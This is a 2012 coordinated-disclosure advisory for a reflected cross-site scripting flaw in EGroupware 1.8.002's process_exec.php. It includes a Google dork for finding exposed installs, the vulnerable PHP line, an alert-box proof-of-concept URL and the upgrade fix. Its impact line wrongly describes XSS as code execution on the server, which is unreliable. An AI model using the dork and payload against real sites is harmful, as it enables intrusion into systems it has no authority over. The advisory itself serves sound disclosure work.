Egroupware 1.8.002 Cross Site Scripting

`Egroupware v1.8.002 (process_exec.php) Reflected Cross-Site Scripting (XSS)  
Google Dork: inurl:etemplate/process_exec.php  
Title: Egroupware v1.8.002 (process_exec.php) Remote XSS Vulnerability  
Type: Remote  
Author: Marcos Garcia  
Severity: Medium – CVSS: 5 (AV:N/AC:L/Au:N/C:N/I:P/A:N)  
Impact: Direct execution of arbitrary code in the context of Webserver user.  
Release Date: 05.04.2012  
Release mode: Coordinated release  
  
Summary  
=======  
  
EGroupware is free open source groupware software intended for  
businesses from small to enterprises. Its primary functions allow  
users to manage contacts, appointments, projects and to-do lists.  
  
Description  
===========  
  
A reflected Cross Site Scripting vulnerability was found in  
EGroupware, because the application fails to sanitize user-supplied  
input. The vulnerability can be triggered by any user.  
  
--------------------------------------------------------------------------------  
  
Detecting vulnerabilities  
- /var/www/egroupware/etemplate:13  
list($app) = explode('.',$_GET['menuaction']);  
  
--------------------------------------------------------------------------------  
  
Vendor  
======  
  
Egroupware - http://www.egroupware.org/  
  
  
Affected Version  
================  
  
1.8.002  
  
PoC  
===  
- /var/www/egroupware/etemplate:13  
list($app) = explode('.',$_GET['menuaction']);  
  
Attack: menuaction=[XSS] (GET)  
http://host/egroupware/etemplate/process_exec.php?menuaction=TEST<script>alert(123)</script>  
  
  
Credits  
=======  
  
Vulnerability discovered by Marcos Garcia (@artsweb).  
  
Solution  
========  
  
Upgrade to Egroupware v1.8.004 (http://www.egroupware.org)  
  
Vendor Status  
=============  
  
[24.03.2012] Vulnerability discovered.  
[24.03.2012] Vendor informed.  
[29.03.2012] Asked vendor for status.  
[29.03.2012] Vendor replied.  
[01.04.2012] Vendor reveals patch release date.  
[05.04.2012] Public advisory.  
  
Changelog  
=========  
  
[05.04.2012] - Initial release  
`